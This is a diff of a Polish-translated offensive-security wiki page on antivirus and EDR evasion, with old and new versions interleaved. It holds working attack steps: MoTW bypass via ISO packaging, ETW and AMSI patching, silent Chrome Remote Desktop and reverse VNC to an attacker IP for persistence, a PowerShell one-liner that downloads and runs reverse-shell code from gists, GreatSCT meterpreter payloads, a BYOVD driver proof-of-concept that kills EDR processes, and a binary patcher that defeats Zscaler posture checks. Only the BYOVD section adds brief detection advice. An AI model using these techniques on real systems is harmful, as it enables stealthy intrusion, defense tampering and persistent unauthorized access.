- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to fine-grained code obfuscation framework dla języków wspieranych przez LLVM, wykorzystujący ROP (return-oriented programming). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w ROP chains, zakłócając naturalne pojmowanie normalnego przepływu sterowania.
+- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie open-source forka [LLVM](http://www.llvm.org/) compilation suite, umożliwiającego zwiększenie bezpieczeństwa oprogramowania poprzez [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i tamper-proofing.
+- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstruje, jak użyć języka `C++11/14` do generowania w czasie kompilacji obfuscated code bez użycia zewnętrznych narzędzi i bez modyfikowania kompilatora.
+- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuscated operations generowanych przez C++ template metaprogramming framework, co nieco utrudni życie osobie próbującej złamać aplikację.
+- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz jest x64 binary obfuscator, który potrafi obfuscate różne pliki PE, w tym: .exe, .dll, .sys
+- [**metame**](https://github.com/a0rtega/metame): Metame to prosty metamorphic code engine dla dowolnych executables.
+- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to fine-grained code obfuscation framework dla języków wspieranych przez LLVM wykorzystujący ROP (return-oriented programming). ROPfuscator obfuscates program na poziomie kodu assembly przez przekształcanie zwykłych instrukcji w ROP chains, podważając naturalne rozumienie normalnego przepływu sterowania.
 - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt to .NET PE Crypter napisany w Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi przekonwertować istniejące EXE/DLL na shellcode, a następnie je załadować
+- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi konwertować istniejące EXE/DLL do shellcode, a następnie je załadować

 ## SmartScreen & MoTW

-Być może widziałeś ten ekran podczas pobierania niektórych plików wykonywalnych z internetu i uruchamiania ich.
+You may have seen this screen when downloading some executables from the internet and executing them.

-Microsoft Defender SmartScreen to mechanizm bezpieczeństwa mający na celu chronić użytkownika końcowego przed uruchamianiem potencjalnie złośliwych aplikacji.
+Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.

 <figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>

-SmartScreen działa głównie na zasadzie reputacji, co oznacza, że rzadko pobierane aplikacje wywołają SmartScreen, ostrzegając i uniemożliwiając użytkownikowi końcowemu uruchomienie pliku (chociaż plik nadal można uruchomić, klikając More Info -> Run anyway).
+SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).

-**MoTW** (Mark of The Web) to [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) o nazwie Zone.Identifier, który jest automatycznie tworzony przy pobieraniu plików z internetu, wraz z URL, z którego został pobrany.
+**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.

 <figure><img src="../images/image (237).png" alt=""><figcaption><p>Sprawdzanie Zone.Identifier ADS dla pliku pobranego z internetu.</p></figcaption></figure>

 > [!TIP]
-> Ważne: pliki wykonywalne podpisane zaufanym certyfikatem podpisu **nie wywołają SmartScreen**.
+> Ważne: Należy pamiętać, że pliki wykonywalne podpisane za pomocą zaufanego certyfikatu podpisu **nie wywołają SmartScreen**.

-Bardzo skutecznym sposobem zapobiegania oznaczaniu payloadów Mark of The Web jest zapakowanie ich w pewnego rodzaju kontener, np. ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowany na **woluminach nie-NTFS**.
+A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.

 <figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>

-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) to narzędzie, które pakuje payloady do kontenerów wyjściowych, aby ominąć Mark-of-the-Web.
+[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.

-Przykład użycia:
+Example usage:
 ```bash
 PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

@ -381,140 +416,139 @@ Adding file: /TotallyLegitApp.exe

 [+] Generated file written to (size: 3420160): container.iso
 ```
-Oto demo obejścia SmartScreen przez spakowanie payloadów wewnątrz plików ISO przy użyciu [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
+Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)

 <figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>

 ## ETW

-Event Tracing for Windows (ETW) to potężny mechanizm logowania w Windows, który pozwala aplikacjom i komponentom systemowym na **rejestrowanie zdarzeń**. Jednak może być również wykorzystywany przez produkty zabezpieczające do monitorowania i wykrywania złośliwej aktywności.
+Event Tracing for Windows (ETW) is a powerful logging mechanism in Windows that allows applications and system components to **log events**. However, it can also be used by security products to monitor and detect malicious activities.

-Podobnie jak w przypadku wyłączania (ominięcia) AMSI, możliwe jest również sprawienie, że funkcja **`EtwEventWrite`** procesu użytkownika zwróci natychmiast, nie logując żadnych zdarzeń. Osiąga się to przez zapatchowanie tej funkcji w pamięci tak, aby od razu zwracała, co efektywnie wyłącza logowanie ETW dla tego procesu.
+Podobnie jak w przypadku obchodzenia AMSI, możliwe jest także sprawienie, by funkcja użytkownika przestrzeni `EtwEventWrite` zwracała natychmiast bez logowania jakichkolwiek zdarzeń. Robi się to przez załatanie funkcji w pamięci tak, aby od razu zwracała, skutecznie wyłączając logowanie ETW dla tego procesu.

 Więcej informacji znajdziesz w **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.


 ## C# Assembly Reflection

-Ładowanie binarek C# do pamięci jest znane od dawna i nadal jest świetnym sposobem uruchamiania narzędzi post-exploitation bez wykrycia przez AV.
+Ładowanie binarek C# do pamięci jest znane od dawna i wciąż jest świetnym sposobem uruchamiania narzędzi post-exploitation bez wykrycia przez AV.

-Ponieważ payload zostanie załadowany bezpośrednio do pamięci bez zapisu na dysk, będziemy musieli martwić się tylko o zapatchowanie AMSI dla całego procesu.
+Ponieważ payload zostanie załadowany bezpośrednio do pamięci bez zapisu na dysk, jedyną rzeczą, o którą musimy się martwić, jest załatane AMSI dla całego procesu.

-Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) już umożliwia wykonywanie C# assemblies bezpośrednio w pamięci, ale istnieją różne sposoby, by to zrobić:
+Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, itd.) już oferuje możliwość wykonywania C# assemblies bezpośrednio w pamięci, ale istnieją różne sposoby, by to zrobić:

 - **Fork\&Run**

-Polega to na **spawning a new sacrificial process**, wstrzyknięciu do niego twojego złośliwego kodu post-exploitation, wykonaniu kodu, a po zakończeniu zabiciu tego procesu. Ma to swoje zalety i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym Beacon implant process. Oznacza to, że jeśli coś pójdzie nie tak lub zostanie wykryte podczas naszych działań post-exploitation, istnieje **znacznie większa szansa**, że nasz **implant przetrwa.** Wadą jest **większe ryzyko** wykrycia przez **Behavioural Detections**.
+Polega na **utworzeniu nowego procesu ofiary**, wstrzyknięciu do niego twojego kodu post-exploitation, uruchomieniu go, a po wykonaniu zabiciu tego procesu. Ma to zarówno zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym procesem Beacon implant. Oznacza to, że jeśli coś pójdzie nie tak lub zostanie wykryte, istnieje **znacznie większa szansa**, że nasz **implant przeżyje.** Wadą jest **większe prawdopodobieństwo** wykrycia przez wykrycia behawioralne.

 <figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>

 - **Inline**

-Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **into its own process**. W ten sposób można uniknąć tworzenia nowego procesu i jego skanowania przez AV, ale wadą jest to, że jeśli coś pójdzie nie tak podczas wykonania payloadu, istnieje **znacznie większe ryzyko** **utracenia twojego beacon**, ponieważ proces może się zawiesić lub zcrashować.
+Chodzi o wstrzyknięcie kodu post-exploitation **do własnego procesu**. Dzięki temu można uniknąć tworzenia nowego procesu i poddawania go skanowaniu przez AV, ale wadą jest to, że jeśli coś pójdzie nie tak podczas wykonania payloadu, istnieje **znacznie większa szansa** na **utracenie beacona**, ponieważ proces może ulec awarii.

 <figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>

 > [!TIP]
 > Jeśli chcesz przeczytać więcej o ładowaniu C# Assembly, sprawdź ten artykuł [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) oraz ich InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))

-Możesz również ładować C# Assemblies **from PowerShell**, zobacz [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) oraz [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
+Możesz też ładować C# Assemblies **from PowerShell**, zobacz [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) i [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).

-## Korzystanie z innych języków programowania
+## Using Other Programming Languages

-Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonanie złośliwego kodu przy użyciu innych języków, dając skompromitowanej maszynie dostęp **to the interpreter environment installed on the Attacker Controlled SMB share**.
+Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonywanie złośliwego kodu w innych językach, dając skompromitowanej maszynie dostęp **do środowiska interpretera zainstalowanego na Attacker Controlled SMB share**.

-Pozwalając na dostęp do Interpreter Binaries i środowiska na udziale SMB można **execute arbitrary code in these languages within memory** skompromitowanej maszyny.
+Dając dostęp do interpreter binaries i środowiska na udziale SMB możesz **wykonywać dowolny kod w tych językach w pamięci** skompromitowanej maszyny.

-Repo wskazuje: Defender nadal skanuje skrypty, ale wykorzystując Go, Java, PHP itd. mamy **więcej elastyczności w omijaniu statycznych sygnatur**. Testy z losowymi nieobfuskowanymi reverse shell scripts w tych językach okazały się skuteczne.
+Repo wskazuje: Defender nadal skanuje skrypty, ale wykorzystując Go, Java, PHP itd. mamy **więcej elastyczności, by obejść statyczne sygnatury**. Testy z losowymi nieobfuskowanymi reverse shell skryptami w tych językach okazały się skuteczne.

 ## TokenStomping

-Token stomping to technika, która pozwala atakującemu **manipulować access tokenem lub produktem zabezpieczającym takim jak EDR lub AV**, umożliwiając obniżenie jego uprawnień tak, że proces nie zostanie zakończony, ale nie będzie miał uprawnień do sprawdzania złośliwej aktywności.
+Token stomping to technika, która pozwala atakującemu **manipulować access tokenem lub produktem bezpieczeństwa takim jak EDR czy AV**, umożliwiając obniżenie jego uprawnień tak, że proces nie zostanie zabity, ale nie będzie miał uprawnień do sprawdzania złośliwej aktywności.

-Aby temu zapobiec, Windows mógłby **uniemożliwić zewnętrznym procesom** uzyskiwanie uchwytów do tokenów procesów zabezpieczających.
+Aby temu zapobiec, Windows mógłby **uniemożliwić zewnętrznym procesom** uzyskiwanie uchwytów do tokenów procesów zabezpieczeń.

 - [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
 - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
 - [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)

-## Użycie zaufanego oprogramowania
+## Using Trusted Software

 ### Chrome Remote Desktop

-As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), łatwo jest po prostu zainstalować Chrome Remote Desktop na komputerze ofiary, a następnie użyć go do przejęcia i utrzymania dostępu:
-1. Pobierz ze https://remotedesktop.google.com/, kliknij "Set up via SSH", a następnie kliknij plik MSI dla Windows, aby pobrać MSI.
-2. Uruchom instalator w trybie cichym na maszynie ofiary (wymagane uprawnienia administratora): `msiexec /i chromeremotedesktophost.msi /qn`
-3. Wróć do strony Chrome Remote Desktop i kliknij Next. Kreator poprosi o autoryzację; kliknij przycisk Authorize, aby kontynuować.
-4. Wykonaj podany parametr z pewnymi modyfikacjami: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Uwaga: parametr --pin pozwala ustawić PIN bez użycia GUI).
+Jak opisano w [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), łatwo jest wdrożyć Chrome Remote Desktop na maszynie ofiary, a następnie użyć go do przejęcia i utrzymania dostępu:
+1. Pobierz z https://remotedesktop.google.com/, kliknij "Set up via SSH", a następnie kliknij plik MSI dla Windows, aby pobrać plik MSI.
+2. Uruchom instalator w trybie cichym na ofierze (wymagane uprawnienia administracyjne): `msiexec /i chromeremotedesktophost.msi /qn`
+3. Wróć do strony Chrome Remote Desktop i kliknij dalej. Kreator poprosi o autoryzację; kliknij przycisk Authorize, aby kontynuować.
+4. Wykonaj podany parametr z pewnymi modyfikacjami: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Uwaga na parametr pin, który pozwala ustawić pin bez używania GUI).

+## Advanced Evasion

-## Zaawansowane unikanie wykrycia
+Evasion to bardzo skomplikowany temat — czasem trzeba brać pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest pozostanie całkowicie niewykrytym w dojrzałych środowiskach.

-Evasion to bardzo skomplikowany temat; czasami trzeba brać pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest pozostanie całkowicie niewykrytym w dojrzałych środowiskach.
+Każde środowisko, przeciwko któremu działasz, będzie miało własne mocne i słabe strony.

-Każde środowisko, przeciwko któremu działasz, będzie miało swoje mocne i słabe strony.
-
-Gorąco zachęcam do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/DaniLJ94), aby zdobyć podstawy bardziej zaawansowanych technik Evasion.
+Gorąco zachęcam do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/DaniLJ94), aby uzyskać wgląd w bardziej zaawansowane techniki evasion.


 {{#ref}}
 https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
 {{#endref}}

-To także świetne wystąpienie od [@mariuszbit](https://twitter.com/mariuszbit) o Evasion in Depth.
+To również świetne wystąpienie od [@mariuszbit](https://twitter.com/mariuszbit) o Evasion in Depth.


 {{#ref}}
 https://www.youtube.com/watch?v=IbA7Ung39o4
 {{#endref}}

-## **Stare techniki**
+## **Old Techniques**

-### **Sprawdź, które części Defender uznaje za złośliwe**
+### **Check which parts Defender finds as malicious**

-Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), które będzie **usuwać części pliku binarnego** aż **dowiedzieć się, którą część Defender** uznaje za złośliwą i rozdzieli ją dla Ciebie.\
+Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), które będzie **usuwać części binarki** aż **zidentyfikuje, którą część Defender** uznaje za złośliwą i rozdzieli ją dla ciebie.\
 Inne narzędzie robiące **to samo** to [**avred**](https://github.com/dobin/avred) z otwartą usługą webową pod adresem [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)

 ### **Telnet Server**

-Do Windows 10 wszystkie Windowsy zawierały **Telnet server**, który można było zainstalować (jako administrator) wykonując:
+Do Windows10 włącznie, wszystkie Windowsy miały **Telnet server**, który można było zainstalować (jako administrator) robiąc:
 ```bash
 pkgmgr /iu:"TelnetServer" /quiet
 ```
-Spraw, aby się **uruchamiał** przy starcie systemu i **uruchom** go teraz:
+Ustaw, aby się **uruchamiał** przy starcie systemu i **uruchom** go teraz:
 ```bash
 sc config TlntSVR start= auto obj= localsystem
 ```
-**Zmień port telnetu** (stealth) i wyłącz firewall:
+**Zmień port telnet** (stealth) i wyłącz firewall:
 ```
 tlntadmn config port=80
 netsh advfirewall set allprofiles state off
 ```
 ### UltraVNC

-Pobierz z: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (potrzebujesz wersji binarnej, nie setupu)
+Pobierz z: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (potrzebujesz binarnych wersji, nie instalatora)

-**NA MASZYNIE (HOST)**: Uruchom _**winvnc.exe**_ i skonfiguruj serwer:
+**NA MASZYNIE OFIARY**: Uruchom _**winvnc.exe**_ i skonfiguruj serwer:

 - Włącz opcję _Disable TrayIcon_
 - Ustaw hasło w _VNC Password_
 - Ustaw hasło w _View-Only Password_

-Następnie przenieś binarkę _**winvnc.exe**_ i **nowo** utworzony plik _**UltraVNC.ini**_ na maszynę **victim**
+Następnie przenieś binarkę _**winvnc.exe**_ oraz **nowo** utworzony plik _**UltraVNC.ini**_ na maszynę **ofiary**

-#### **Reverse connection**
+#### **Połączenie odwrotne**

-The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
+**Atakujący** powinien **uruchomić na** swoim **hoście** binarkę `vncviewer.exe -listen 5900`, aby była **przygotowana** do przyjęcia odwrotnego **połączenia VNC**. Następnie, na **maszynie ofiary**: Uruchom demona winvnc `winvnc.exe -run` i uruchom `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`

-**WARNING:** Aby zachować stealth, nie rób kilku rzeczy
+**OSTRZEŻENIE:** Aby zachować dyskrecję nie wolno robić kilku rzeczy

- Nie uruchamiaj `winvnc`, jeśli już działa, bo wywołasz [popup]. Sprawdź, czy działa poleceniem `tasklist | findstr winvnc`
- Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, bo spowoduje to otwarcie [the config window]
- Nie uruchamiaj `winvnc -h` po pomoc, bo wywoła to [popup]
+- Nie uruchamiaj `winvnc`, jeśli już działa, bo wywołasz [popup](https://i.imgur.com/1SROTTl.png). Sprawdź czy działa poleceniem `tasklist | findstr winvnc`
+- Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, bo spowoduje to otwarcie [okna konfiguracji](https://i.imgur.com/rfMQWcf.png)
+- Nie uruchamiaj `winvnc -h` żeby uzyskać pomoc, bo spowoduje to wyświetlenie [popup](https://i.imgur.com/oc18wcu.png)

 ### GreatSCT

-Pobierz z: [https://github.com/GreatSCT/GreatSCT]
+Pobierz z: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
 ```
 git clone https://github.com/GreatSCT/GreatSCT.git
 cd GreatSCT/setup/
@ -532,13 +566,13 @@ sel lport 4444
 generate #payload is the default name
 #This will generate a meterpreter xml and a rcc file for msfconsole
 ```
-Teraz **uruchom lister** poleceniem `msfconsole -r file.rc` i **wykonaj** **xml payload** za pomocą:
+Teraz **start the lister** przy użyciu `msfconsole -r file.rc` i **wykonaj** **xml payload** poleceniem:
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
 ```
 **Obecny Defender zakończy proces bardzo szybko.**

-### Kompilowanie własnego reverse shell
+### Kompilacja naszego własnego reverse shell

 https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

@ -548,7 +582,7 @@ Skompiluj go za pomocą:
 ```
 c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
 ```
-Użyj go z:
+Użyj tego z:
 ```
 back.exe <ATTACKER_IP> <PORT>
 ```
@ -625,7 +659,7 @@ catch (Exception err) { }
 }
 }
 ```
-### C# using kompilator
+### C# — użycie kompilatora
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
 ```
@ -633,7 +667,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe RE

 [REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)

-Automatyczne pobieranie i uruchomienie:
+Automatyczne pobieranie i wykonanie:
 ```csharp
 64bit:
 powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
@ -660,7 +694,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
 - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
 - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)

-### Przykład użycia python do tworzenia injectorów:
+### Przykład użycia python do budowania injectorów:

 - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)

@ -689,28 +723,28 @@ https://github.com/TheWover/donut
 # Vulcan
 https://github.com/praetorian-code/vulcan
 ```
-### More
+### Więcej

 - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)

-## Bring Your Own Vulnerable Driver (BYOVD) – Wyłączanie AV/EDR z przestrzeni jądra
+## Bring Your Own Vulnerable Driver (BYOVD) – Zabijanie AV/EDR z poziomu jądra

-Storm-2603 wykorzystał małe narzędzie konsolowe znane jako **Antivirus Terminator**, aby wyłączyć ochronę endpoint przed zrzuceniem ransomware. Narzędzie dostarcza swój **własny podatny, ale *signed* sterownik** i nadużywa go do wykonywania uprzywilejowanych operacji w jądrze, których nawet usługi AV uruchomione jako Protected-Process-Light (PPL) nie mogą zablokować.
+Storm-2603 wykorzystał małe narzędzie konsolowe znane jako **Antivirus Terminator**, aby wyłączyć zabezpieczenia endpointów przed zrzuceniem ransomware. Narzędzie dostarcza **własny podatny, ale *podpisany* sterownik** i nadużywa go do wykonywania uprzywilejowanych operacji w jądrze, których nawet Protected-Process-Light (PPL) usługi AV nie mogą zablokować.

-Najważniejsze wnioski
-1. **Signed driver**: Plik zapisany na dysku to `ServiceMouse.sys`, ale binarka to prawidłowo podpisany sterownik `AToolsKrnl64.sys` z „System In-Depth Analysis Toolkit” Antiy Labs. Ponieważ sterownik ma ważny podpis Microsoft, ładuje się nawet gdy Driver-Signature-Enforcement (DSE) jest włączony.
-2. **Service installation**:
+Kluczowe wnioski
+1. **Signed driver**: Plik zapisany na dysku to `ServiceMouse.sys`, ale binarka to legalnie podpisany sterownik `AToolsKrnl64.sys` z narzędzi Antiy Labs „System In-Depth Analysis Toolkit”. Ponieważ sterownik ma ważny podpis Microsoft, ładuje się nawet gdy Driver-Signature-Enforcement (DSE) jest włączone.
+2. **Instalacja usługi**:
 ```powershell
 sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
 sc start  ServiceMouse
 ```
-Pierwsza linia rejestruje sterownik jako **kernel service**, a druga go uruchamia, dzięki czemu `\\.\ServiceMouse` staje się dostępny z user land.
-3. **IOCTLs exposed by the driver**
+Pierwsza linia rejestruje sterownik jako **usługę jądra**, a druga ją uruchamia, dzięki czemu `\\.\ServiceMouse` staje się dostępny z poziomu trybu użytkownika.
+3. **IOCTL-y udostępnione przez sterownik**
 | IOCTL code | Capability                              |
 |-----------:|-----------------------------------------|
-| `0x99000050` | Terminate an arbitrary process by PID (used to kill Defender/EDR services) |
-| `0x990000D0` | Delete an arbitrary file on disk |
-| `0x990001D0` | Unload the driver and remove the service |
+| `0x99000050` | Zakończ dowolny proces po PID (używane do zabicia usług Defender/EDR) |
+| `0x990000D0` | Usuń dowolny plik na dysku |
+| `0x990001D0` | Wyładuj sterownik i usuń usługę |

 Minimalny proof-of-concept w C:
 ```c
@ -724,28 +758,28 @@ CloseHandle(hDrv);
 return 0;
 }
 ```
-4. **Why it works**: BYOVD całkowicie omija zabezpieczenia w trybie użytkownika; kod wykonujący się w jądrze może otwierać *protected* procesy, kończyć je lub modyfikować obiekty jądra niezależnie od PPL/PP, ELAM czy innych mechanizmów hardeningu.
+4. **Dlaczego to działa**: BYOVD całkowicie pomija ochrony w trybie użytkownika; kod wykonujący się w jądrze może otwierać *chronione* procesy, kończyć je lub manipulować obiektami jądra niezależnie od PPL/PP, ELAM czy innych funkcji zabezpieczających.

-Detection / Mitigation
-•  Włącz listę blokowania podatnych sterowników Microsoft (`HVCI`, `Smart App Control`), aby Windows odmówił załadowania `AToolsKrnl64.sys`.  
-•  Monitoruj tworzenie nowych *kernel* services i generuj alert, gdy sterownik jest ładowany z katalogu zapisywalnego przez wszystkich lub nie znajduje się na allow-list.  
-•  Obserwuj uchwyty w trybie użytkownika do niestandardowych obiektów urządzeń i podejrzane wywołania `DeviceIoControl`.
+Wykrywanie / łagodzenie
+•  Włącz listę blokowanych podatnych sterowników Microsoft (`HVCI`, `Smart App Control`), aby Windows odrzucał ładowanie `AToolsKrnl64.sys`.  
+•  Monitoruj tworzenie nowych *usług jądra* i generuj alert, gdy sterownik jest ładowany z katalogu zapisywalnego przez wszystkich lub nie znajduje się na liście dozwolonych.  
+•  Monitoruj uchwyty w trybie użytkownika do niestandardowych obiektów urządzeń, po których następują podejrzane wywołania `DeviceIoControl`.

-### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
+### Ominięcie kontroli postawy Zscaler Client Connector poprzez łatkowanie binarek na dysku

-Zscaler’s **Client Connector** stosuje reguły device-posture lokalnie i używa Windows RPC do komunikowania wyników z innymi komponentami. Dwa słabe decyzje projektowe umożliwiają pełne obejście:
+Zscaler’s **Client Connector** stosuje zasady postawy urządzenia lokalnie i polega na Windows RPC do przekazywania wyników innym komponentom. Dwa słabe wybory projektowe umożliwiają pełne obejście:

-1. Ocena posture odbywa się **całkowicie po stronie klienta** (na serwer wysyłany jest tylko boolean).  
-2. Wewnętrzne endpointy RPC weryfikują jedynie, że łączący się plik wykonywalny jest **signed by Zscaler** (przez `WinVerifyTrust`).
+1. Ocena postawy odbywa się **całkowicie po stronie klienta** (na serwer wysyłana jest wartość logiczna).  
+2. Wewnętrzne endpointy RPC sprawdzają tylko, że łączący się plik wykonywalny jest **podpisany przez Zscaler** (przy użyciu `WinVerifyTrust`).

-Poprzez **patchowanie czterech signed binarek na dysku** obie mechaniki można unieszkodliwić:
+Poprzez załatanie czterech podpisanych binarek na dysku obydwa mechanizmy można zneutralizować:

 | Binary | Original logic patched | Result |
 |--------|------------------------|---------|
-| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Zawsze zwraca `1`, więc każda kontrola jest zgodna |
-| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ dowolny (nawet unsigned) proces może podpiąć się do RPC pipes |
-| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Zastąpione przez `mov eax,1 ; ret` |
-| `ZSATunnel.exe` | Integrity checks on the tunnel | Skrócone / short-circuited |
+| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Zawsze zwraca `1`, więc każde sprawdzenie jest zgodne |
+| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ dowolny (nawet niepodpisany) proces może podpiąć się do pipe'ów RPC |
+| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Zastąpiona przez `mov eax,1 ; ret` |
+| `ZSATunnel.exe` | Integrity checks on the tunnel | Pominięte |

 Minimalny fragment patchera:
 ```python
@ -761,17 +795,17 @@ else:
 f.seek(off)
 f.write(replacement)
 ```
-Po podmianie oryginalnych plików i ponownym uruchomieniu stosu usług:
+Po zastąpieniu oryginalnych plików i ponownym uruchomieniu stosu usług:

 * **Wszystkie** kontrole postawy pokazują **zielone/zgodne**.
